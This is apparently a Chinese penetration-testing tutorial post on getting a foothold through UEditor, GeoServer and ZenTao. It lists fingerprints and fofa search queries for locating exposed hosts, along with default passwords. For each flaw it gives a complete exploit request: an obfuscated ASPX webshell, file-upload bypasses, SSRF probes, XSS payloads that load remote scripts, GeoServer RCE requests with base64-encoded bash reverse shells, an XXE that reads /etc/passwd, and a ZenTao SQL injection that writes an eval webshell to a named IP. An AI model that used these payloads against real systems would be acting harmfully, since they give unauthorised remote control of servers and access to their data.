# 常规外网打点-PART4(持续更新中......)

本节我们学习编辑器类和其他东西的利用

# UEditor

UEditor是由百度Web前端研发部开发的所见即所得的开源富文本编辑器,具有轻量、可定制、用户体验优秀等特点,基于MIT开源协议,所有源代码在协议允许范围内可自由修改与使用

# 指纹特征

  • 默认路径与文件结构指纹:UEditor部署之后通常会保留其默认的目录名称和核心静态文件,常能发现以下路径:

    # 核心配置与脚本文件
    /ueditor/ueditor.config.js
    /ueditor/ueditor.all.js
    /ueditor/ueditor.all.min.js
    /ueditor/lang/zh-cn/zh-cn.js
    # 默认测试/演示页面
    /ueditor/index.html
    # 对话框与UI组件目录
    /ueditor/dialogs
    /ueditor/themes/default/css/ueditor.css
  • 后端控制器路径指纹:UEditor的文件上传、远程抓图等功能依赖于后端的处理脚本,不同语言版本的UEditor对应不同的后端控制器路径:

    # PHP
    /ueditor/php/controller.php
    # JSP
    /ueditor/jsp/controller.jsp
    # ASP.NET(C#)
    /ueditor/net/controller.ashx
    # ASP
    /ueditor/asp/controller.asp
  • API动态交互与参数特征:无论后端是什么语言,UEditor的前后端交互都遵循一套固定的API规范,通过向Controller发送特定的action参数,可以精准确认UEditor的存在及配置:

    # 探测请求
    GET /ueditor/jsp/controller.jsp?action=config
    # 响应指纹
    {
        "imageActionName": "uploadimage",
        "imageFieldName": "upfile",
        "imageMaxSize": 2048000,
        "imageAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp"],
        "catcherLocalDomain": ["127.0.0.1", "localhost", "img.baidu.com"]
    }
  • 前端DOM与代码特征:

    # JavaScript变量与对象
    页面源码通常存在windw.UEDITOR_HOME_URL的定义
    实例化编辑器的代码通常为UE.getEditor('editor_id')
    # HTML类名与CSS特征
    编辑器加载后,其生成的HTML容器通常带有edui-default、edui-editor、edui-editor-toolbarbox等标志性的CSS class
    编辑区域通常是一个iframe,其ID类似edui1_iframe或以edui开头
  • fofa语法:

    body="ueditor.config.js"
    body="UE.getEitor"
    body="edui-default"

# .NET版本任意文件上传

参考文章:UEditor v1.4.3.3 .net版本任意文件上传 漏洞复现_ueditor漏洞复现-CSDN博客

UEditor安全风险:文件上传与SSRF漏洞详解-CSDN博客

影响范围为UEditor v1.4.3.3

如果访问/Content/ueditor/net/controller.ashx?action=catchimage页面提示“参数错误:没有指定抓取源”时,则说明存在该漏洞

在CrawlerHandler.cs文件中,后端获取远程资源时,仅校验了HTTP响应头中的ContentType是否包含image,而没有严格检查文件的实际后缀与内容,那么攻击者可以通过构造包含木马的URL诱导服务器抓取,因为保存文件的后缀过滤不严,最终会导致恶意的.aspx脚本被写入服务器目录,从而直接获取服务器的控制权限

需要在本地创建一个poc.html文件(记得修改action为目标漏洞路径):

<form action=" http://xxx.com/Content/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
  <p>shell addr:<input type="text" name="source[]" /></p >
  <input type="submit" value="Submit" />
</form>

然后制作一个aspx图片马:1.gif?.aspx(一句话木马,密码为hello)

GIF89a
<script runat="server" language="JScript">
   function popup(str) {
       var q = "u";
       var w = "afe";
       var a = q + "ns" + w; var b= eval(str,a); return(b);
  }
</script>
<% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>

打开poc.html之后,输入VPS的图片马地址,成功上传至目标服务器之后会返回webshell访问地址,之后使用webshell管理工具连接指定地址即可

php版本的文件上传:

POST http://localhost/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 222
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36
Content-Type: multipart/form-data; boundary=——WebKitFormBoundaryDMmqvK6b3ncX4xxA
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
———WebKitFormBoundaryDMmqvK6b3ncX4xxA
Content-Disposition: form-data; name="fuck"; filename="fuck.php"
Content-Type: application/octet-stream
<?php 
phpinfo();
?>
———WebKitFormBoundaryDMmqvK6b3ncX4xxA—

shell路径由CONFIG[imagePathFormat]=ueditor/php/upload/fuck决定

http://localhost/ueditor/php/upload/fuck.php

# SSRF

该漏洞存在于1.4.3的JSP版本中

触发点为controller.jsp?action=catchimage或controller.php?action=catchimage,当通过source[]参数传入外部URL时,后端未对目标IP进行严格的内网私有IP限制,所以攻击者可以传入内网的IP和端口,利用UEditor所在的服务器作为跳板对内网其他机器进行端口扫描或信息探测

/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg

/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

这里可以根据页面返回的结果不同,来判断改地址对应的主机端口是否开放,可以总结为:

  • 如果住区不存在的图片地址时,页面返{“state”: “SUCCESS”, list: [{“state”:"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state为“远程连接出错”
  • 如果成功抓取到图片,页面返回{“state”: “SUCCESS”, list: [{“state”: “SUCCESS”,“size”:“5103”,“source”:“http://192.168.135.133:8080/tomcat.png”,“title”:“1527173588127099881.png”,“url”:"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"} ]},即state为“SUCCESS”
  • 如果主机无法访问,页面返回{“state”:“SUCCESS”, list: [{“state”: “\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25”}]},即state为"抓取远程图片失败"

还有一个存在于onethink 1.0版本的ueditor,测试版本为1.2:

 POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1
    Host: target
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 37
    Connection: keep-alive
    
    upfile=https://www.google.com/?%23.jpg

# 文件上传导致存储型XSS

参考文章:Ueditor的XML文件上传导致存储型XSS(可以再试试xxe)和ssrf漏洞_xml ssrf-CSDN博客

Ueditor编辑器漏洞总结

该漏洞属于UEditor的文件上传导致存储型XSS,攻击者可以通过上传图片文件然后抓包拦截,将uploadimage类型修改为uploadfile,并修改文件后缀名为xml

常用的XSS Payload:

# 弹窗XSS
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
</something:script>
</body>
</html>

# URL跳转
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> window.location.href="https://www.t00ls.net/";
</something:script>
</body>
</html>

# 远程加载JS
<html>
<head></head>
<body>
<something:script src="http://xss.com/xss.js" xmlns:something="http://www.w3.org/1999/xhtml">
</something:script>
</body>
</html>

常用的文件上传路径有:

/ueditor/index.html
/ueditor/asp/controller.asp?action=uploadimage
/ueditor/asp/controller.asp?action=uploadfile
/ueditor/net/controller.ashx?action=uploadimage
/ueditor/net/controller.ashx?action=uploadfile
/ueditor/php/controller.php?action=uploadfile
/ueditor/php/controller.php?action=uploadimage
/ueditor/jsp/controller.jsp?action=uploadfile
/ueditor/jsp/controller.jsp?action=uploadimage

常用列出获取路径为:

/ueditor/net/controller.ashx?action=listfile
/ueditor/net/controller.ashx?action=listimage

# GeoServer

参考文章:GeoServer地理服务器特征及漏洞复现 - shinianyunyan - 博客园

Geoserver最全历史漏洞详解 | CN-SEC 中文网

GeoServer是一个开源的地图服务器,基于OpenGIS Web服务器规范的J2EE实现,它允许用户方便地发布地图数据,并对特征数据进行更新、删除、插入操作。通过GeoServer,用户可以迅速共享空间地理信息。其主要功能包括发布地图数据,支持多种服务(Web Map Service、Web Feature Service、Web Map Tile Service),数据管理,兼容性

# 指纹特征

  • 默认Web管理入口通常是http://[IP]/geoserver

  • 页面标题或者正文经常包含:

    GeoServer
    Welcome to GeoServer
    GeoServer Web Administration
  • GeoServer最典型的OGC接口:

    /geoserver/wms
    /geoserver/wfs
    /geoserver/wcs
  • WFS指纹:/geoserver/wfs?service=WFS&request=GetCapabilities,其常见内容包括GeoServer Web Feature Service

  • WCS指纹:/geoserver/wcs?service=WCS&request=GetCapabilities

  • 此外,GeoServer经常暴露一些较有辨识度的路径:

    /geoserver/web/
    /geoserver/wms
    /geoserver/wfs
    /geoserver/wcs
    /geoserver/ows
    /geoserver/rest/
    /geoserver/gwc/
    /geoserver/gwc/service/wmts
  • Geoserver Web管理界面基于Apache Wicket,因此页面源码中可能看到类似:

    org.apache.wicket
    wicket
    wicket:id
  • 静态资源URL也可能带有wicket风格路径,例如/geoserver/web/wicket/resource/...

  • 错误信息指纹:Could not determine geoserver request from http request

  • REST API:常见接口/geoserver/rest/,例如:

    /geoserver/rest/workspaces
    /geoserver/rest/layers
    /geoserver/rest/styles
  • GeoWebCache指纹:GeoServer通常自带GeoWebCache,可以检查:

    /geoserver/gwc/
    /geoserver/gwc/service/wmts
    
    # WMTS capabilities
    /geoserver/gwc/service/wmts?REQUEST=GetCapabilities

    可能看到:

    GeoWebCache
    WMTS

# 弱口令

admin/geoserver
geoserver/geoserver

# 属性名表达式前台RCE CVE-2024-36401

影响范围为:

GeoServer < 2.23.6
2.24.0 ≤ GeoServer < 2.24.4
2.25.0 ≤ GeoServer < 2.25.2
GeoTools < 29.6
30.0 ≤ GeoTools < 30.4
31.0 ≤ GeoTools < 31.2

在GeoServer中,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用Apache Commons Jxpath提供的功能执行任意代码

该漏洞存在一个前提,目标的typeNames必须存在,可以在web页面/geoserver/web/wicked/bookmarkable/org.geoserver.web.demo.MapPreview?3&filter=false中找到当前服务器中所有Types,使用FetPropertyValue来执行XPath表达式

基于GET方法的poc:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash%20-c%20{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xNDIvODg5OSAwPiYx}|{base64,-d}|{bash,-i}') HTTP/1.1
Host: 192.168.120.133:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0


值得注意的是,GET请求下方一定要空两行,而且这里的payload是先base64再URL编码的(两层编码)

基于POST方法的poc:

POST /geoserver/wfs HTTP/1.1
Host: target-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 379

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9Zb3VySVAvWW91clBPUlQgMD4mMQ==}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

payload中的YmFzaCAtaSA+JiAvZGV2L3RjcC9Zb3VySVAvWW91clBPUlQgMD4mMQ==是经过base64编码的命令,避免一些字符破坏RCE的执行

发送请求之后出现java.lang.ClassCastException错误说明成功,反弹的shell也有了

# OGC Filter SQL注入 CVE-2023-25157

影响范围为:

GeoServer < 2.18.7
2.19.0 <= GeoServer < 2.19.7
2.20.0 <= GeoServer < 2.20.7
2.21.0 <= GeoServer < 2.21.4
2.22.0 <= GeoServer < 2.22.2

利用GeoServer可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作,在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞

GeoServer支持使用OGC标准规范(如CQL/ECQL表达式或OGC XML Filter)对空间特征数据进行查询过滤,不过在漏洞版本中存在以下缺陷:

  • 解析过程中的缺陷:GeoServer在将客户端发起的OGC过滤请求(例如CQL_FILTER或XML Filter)转换成数据库适用的SQL语句时,未对某些特定的函数或表达式参数进行严格的清洗与参数化转义
  • 拼接SQL:在处理特定的空间运算函数(如PropertyIsLike、strStartsWith、featureid等)或特殊类型的空间过滤器时,GeoServer直接将用户输入的字符串拼接到SQL查询语句中
  • 攻击者可以通过构造含有单引号和SQL关键字的攻击载荷闭合原本的查询语句从而实现插入恶意SQL指令

注:该漏洞的使用需要确定目标服务器中是否存在类型是PostGIS的数据空间(datastore)和工作空间(workspace),所以需要先去寻找一些参数:

Workspace name
Data store name
Feature type(table) name
One of attribute from feature type
  1. 获取可用要素名称(typeName):

    在GeoServer中,数据以”层“为单位组织,而typeName的格式通常是Workspace name:Data Store name,可以通过下面的接口获取:

    /geoserver/ows?service=WFS&VERSION=1.0.0&request=GetCapabilities

    在返回的XML内容中搜索<FeatureType>标签,其下的子标签<Name>的值就是需要的typeName

  2. 每个可用要素的可用属性

    由于需要知道要操作的具体是哪个数据表的那个字段,所以在后面的poc中使用了strStartsWith函数,因此目标字段需要是字符串类型,利用上一步得到的typeName发送一个GetFeature请求并限制只返回一条记录,但这一步有两个方法以应对不同状况:

    # 通过查数据的方式查找
    /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<typeName>&maxFeatures=1&outputFormat=json
    # 该方法需要找到features/properties下面的key,其缺陷在于如果数据为空,那么features/properties下就是空的,连字段名都不会显示
    
    # 通过表结构进行查找,该方法直接查询表结构,直接返回的是表的结构
    /geoserver/ows?service=wfs&version=1.0.0&request=DescribeFeatureType&typeName=<typeName>
    # 这里我们需要的就是返回值中的<xsd:element>标签中的name键的值,之前提到后面的poc会使用strStartsWith,所以需要找到type="xsd:string"字段
  3. sql注入

    利用前面得到的参数,发送如下URL即可触发 SQL注入漏洞查询数据库版本信息:

    /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<typeName>&CQL_FILTER=strStartsWith%28<propertiesKey>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true

# JAI-EXT导致RCE CVE-2022-24816/CVE-2023-35042

GeoServer使用的JAI-EXT提供的Jiffle地图代数语言,这让使用者可以高效地在大图像上执行地图查询,在JAI-EXT 1.2.21及更早版本中,允许攻击者通过精心构造的Jiffle调用来执行远程代码,影响范围为JAI-EXT < 1.1.22

该漏洞存在于WMS接口中,攻击者可以通过向/geoserver/wms发送特制的请求来执行任意Java代码,请求中需要包含一个恶意的Jiffle表达式,这个表达式将被服务器执行

poc:

POST /geoserver/wms HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 2191

<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<wps:DataInputs>
    <wps:Input>
    <ows:Identifier>coverage</ows:Identifier>
    <wps:Data>
        <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
    </wps:Data>
    </wps:Input>
    <wps:Input>
    <ows:Identifier>script</ows:Identifier>
    <wps:Data>
        <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
    </wps:Data>
    </wps:Input>
    <wps:Input>
    <ows:Identifier>outputType</ows:Identifier>
    <wps:Data>
        <wps:LiteralData>DOUBLE</wps:LiteralData>
    </wps:Data>
    </wps:Input>
</wps:DataInputs>
<wps:ResponseForm>
    <wps:RawDataOutput mimeType="image/tiff">
    <ows:Identifier>result</ows:Identifier>
    </wps:RawDataOutput>
</wps:ResponseForm>
</wps:Execute>

这里执行的是id命令,这样数据包中的Jiffle表达式中的Java代码将被服务器执行,执行结果将返回在java,lang.ExceptionInInitializerError消息中

# 未授权XML外部实体注入 CVE-2025-58360

参考文章:CVE-2025-58360|GeoServer未经授权的XML外部实体注入漏洞(POC)-腾讯云开发者社区-腾讯云

影响范围为GeoServer <2.25.6;2.26.0 <= GeoServer < 2.26.2

该漏洞存在于/geoserver/wms端点的WMS GetMap请求中,当服务器收到XML样形式的SLD样式定义时,由于解析器未正确禁用外部实体,攻击者可构造恶意XML注入实体引用,进而读取服务器任意敏感文件、获取系统信息、触发SSRF或导致拒绝服务

poc:

POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&layers=topp:states&bbox=-130,24,-66,50&width=800&height=400&srs=EPSG:4326&format=image/png HTTP/1.1
Host: ip
Content-Type: application/vnd.ogc.sld+xml

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">
  <NamedLayer>
    <Name>&xxe;</Name>
    <UserStyle/>
  </NamedLayer>
</StyledLayerDescriptor>

# 文件上传漏洞 CVE-2023-51444

影响范围为GeoServer < 2.23.4;2.24.0 <= GeoServer < 2.24.1

该漏洞存在于GeoServer的REST Coverage Store API模块中,允许攻击者利用路径便利缺陷将任意文件写入到服务器的任意位置。

GeoServer的REST接口允许用户上传数据(如ZIP压缩包)来配制和管理栅格数据存储(Coverage Stores),当GeoServer使用相对路径配置存储时,系统会调用具备路径遍历防护机制的Resource接口实现,能够成功拦截包含../的恶意路径。当系统使用绝对路径配置存储时,GeoServer会调用另一个不同的代码实现,而该实现完全没有执行路径遍历安全验证,攻击者可以在REST API请求参数(如filename)中注入../../../../../../目录跳转绕过限制,将恶意文件写入服务器上的任意目录

poc:

POST /geoserver/rest/workspaces/<WORKSPACE_NAME>/coveragestores/<WAREHOUSE_NAME>/file.geotiff?filename=../../../ROOT/1.txt HTTP/1.1
Host: X
Connection: close
Content-Length:1
sec-ch-ua:"Not/A)Brand";v="8","Chromium";v="126","Google Chrome";v="126"
sec-ch-ua-mobile:?0
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/119.0.0.0Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/xml, text/xml,*/*; q=0.01
Wicket-Ajax-BaseURL: wicket/page?19
X-Requested-With: XMLHttpRequest
Wicket-Ajax: true
sec-ch-ua-platform: "Windows"
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1

不过似乎需要先通过:工作区->新建工作区->数据源 ImageMosaic创建一个工作空间

# XPath RCE CVE-2024-36401

影响范围为GeoServer < 2.23.6;2.24.0 <= GeoServer < 2.24.4;2.25.0 <= GeoServer < 2.25.2

该漏洞是GeoServer及底层的GeoTools库存在的一个未经身份验证的代码执行漏洞,该漏洞的核心问题在于GeoServer对XPath表达式的不安全解析机制,导致攻击者可以通过反射调用Java的底层类方法进而执行任意系统命令

GeoServer在处理OGC标准的请求时,允许客户端通过特定参数(如propertyName)来查询或过滤复杂的地理特征参数,为了解析这些属性名,GeoServer引入了XPath表达式支持。

  • GeoServer底层使用Apache Commons JXPath库来执行XPath计算
  • JXPath库在设计时包含了一个特性:允许在XPath表达式中通过扩展函数来实例化Java类并调用其方法(例如反射调用java.lang.Runtime)

该漏洞的攻击面非常广,因为多个标准的OGC服务接口都支持属性名称参数解析,未经身份验证的远程攻击者可以通过构造恶意的GET和POST请求,向以下任意一个受影响的接口发送Payload即可触发RCE:

WFS:GetFeature、GetPropertyValue
WMS:GetMap、GetFeatureInfo、GetLegendGraphic
WPS:Execute请求

poc:

POST /geoserver/ows HTTP/1.1
Host: X
Connection: close
sec-ch-ua:"Not/A)Brand";v="8","Chromium";v="126","Google Chrome";v="126"
sec-ch-ua-mobile:?0
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/119.0.0.0Safari/537.36
sec-ch-ua-platform:"Windows"
Accept:*/*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/xml
Content-Length: 314
<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"^ ^")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

# 禅道

参考文章:什么是CMS,网站内容管理系统(CMS)详解与建站指南-阿里云开发者社区

禅道:项目管理与协作工具的全面指南-CSDN博客

禅道漏洞 | 高木のBlog

禅道各版本漏洞复现汇总上篇 - FreeBuf网络安全行业门户

禅道各版本漏洞复现汇总下篇 - FreeBuf网络安全行业门户

CMS系统:网站内容管理系统(Content Management System),是一种基于服务器的软件应用程序,它允许用户通过直观地界面创建、编辑、组织和发布数字内容,而无需专业的编程知识。CMS将网站的内容与网站的设计分离开来,使得内容更新和维护变得高效便捷

禅道是一款开源的项目管理系统和协同工具,旨在帮助团队高效地进行项目管理、任务分配和团队协作,它提供了丰富的功能和工具,以支持项目的规划、跟踪和控制,其主要特点和功能包括项目管理、任务管理、缺陷管理、文档管理、团队协作、报表和统计

# 指纹特征

  • HTTP响应头与Cookie特征:禅道在会话管理中使用了独特的Session ID名称

    Set-Cookie: zentaosid=xxxxxxxxxxxxxxxxxxxxxx;
  • URL目录与路径特征:

    # 默认根路径
    ## 开源版常见
    /zentao/
    ## 专业版
    /pro/
    ## 企业版
    /biz/
    ## 旗舰版
    /max/
    
    # 典型登录页面
    /zentao/user-login.hrml
    /user-login.html
    /zentao/user-login-L3plbnRhby8=.html
    
    # 静态资源特征路径
    /zentao/theme/default/style.css
  • HTML源码与DOM特征:

    # Title标签
    <title>用户登录 - 禅道</title>
    <title>登录 - 禅道</title>
    
    # JS配置对象,页面<head>内嵌的全局变量
    var config={"webRoot":"\/","appName":"","cookieLife":30,"requestType":"PATH_INFO"}
    
    # body样式
    <body class='m-user-login'>
    
    # 底部版权信息
    <a href="[htp://ww.zentao.net](http://www.zentao.net)" target="_blank">禅道项目管理软件</a>
    
    # 隐藏Input
    <input type='hidden' name='keepLogin' id='keepLogin' value='0' />
  • fofa语法:

    app="禅道项目管理软件"
    header="zentaosid"
    body="m-user-login" && title="禅道"

# 收集信息

/zentao/index.php?mode=getconfig

查看报错信息获取绝对路径:

/zentaopms/www/index.php?m=user&f=login1/www/zentaopms/framework/base/router.class.php

# 默认口令

admin
123456

# 身份认证绕过漏洞 QVD-2024-15263

影响范围为:

# 开源版
16.x <= 禅道 < 18.12
# 企业版
6.x <= 禅道 < 8.12
# 旗舰版
3.x <= 禅道 < 4.12

该漏洞的核心在于攻击者可以通过构造特定请求来绕过身份认证,调用任意API接口,结合其他漏洞可以完全控制服务器

poc:

GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=hxsjoqkyiveutbzwlvjv&branch=rbpcotcxawqpqhvhqfpp HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="109", "Chromium";v="109", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Connection: close

该poc可以实现获取伪造的绘画cookie,进而添加管理员并登录系统

# zentaopms-9.1.2-SQL注入&getshell

该漏洞核心问题在于禅道旧版本DAO数据库封装中的lib/base/dao/dao.class.php、orderBy()

正常情况下,例如查询:

SELECT * FROM zt_bug
ORDER BY id DESC
LIMIT 0,10

禅道需要处理类似id_desc limit 0,10这样的排序和分页条件,旧版本orderBy()会把输入拆分成order部分和limit部分两个部分,然后分别处理,但问题在于前面的排序字段经过了比较严格的正则检查,而后面拆出来的limit部分没有得到同等级别的校验,最后又被直接拼回了SQL语句

以需要注入的select sleep(5)为例,将这个SQL语句hex编码得到0x73656c65637420736c656570283529,然后将hex编码后的参数插入JSON中:

{"orderBy":"order limit 1;SET @SQL=0x73656c65637420736c656570283529;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}

然后将这一段JSON进行base64编码之后插入请求,这些poc的每一个请求都需要手动添加referer字段:

Referer: http://118.193.36.37:10363/zentaopms/

对于获取webshell的过程,采用日志注入的方式:

# 开启日志
set global general_log='on';
# 更改日志路径
set global general_log_
file='/www/zentaopms/module/misc/ext/model/foo.php'
# 注入shell语句
select '<?php @eval($_POST[1])?>';
# 关闭日志
set global general_log='off'

注入之后可以访问webshell:

http://[IP]/zentaopms/module/misc/ext/model/foo.php

poc:

//sleep(5)
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//开启日志:set global general_log='on'; 
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjczZDI3NmY2ZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//更改日志路径:set global general_log_file='/www/zentaopms/module/misc/ext/model/foo.php'; 
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjc1ZjY2Njk2YzY1M2QyNzJmNzc3Nzc3MmY3YTY1NmU3NDYxNmY3MDZkNzMyZjZkNmY2NDc1NmM2NTJmNmQ2OTczNjMyZjY1Nzg3NDJmNmQ2ZjY0NjU2YzJmNjY2ZjZmMmU3MDY4NzAyNzNiO1BSRVBBUkUgcG9yZCBGUk9NIEBTUUw7RVhFQ1VURSBwb3JkOy0tIC0iLCJudW0iOiIxLDEiLCJ0eXBlIjoib3BlbmVkYnltZSJ9 HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//注入shell语句:select '<?php @eval($_POST[1])?>';
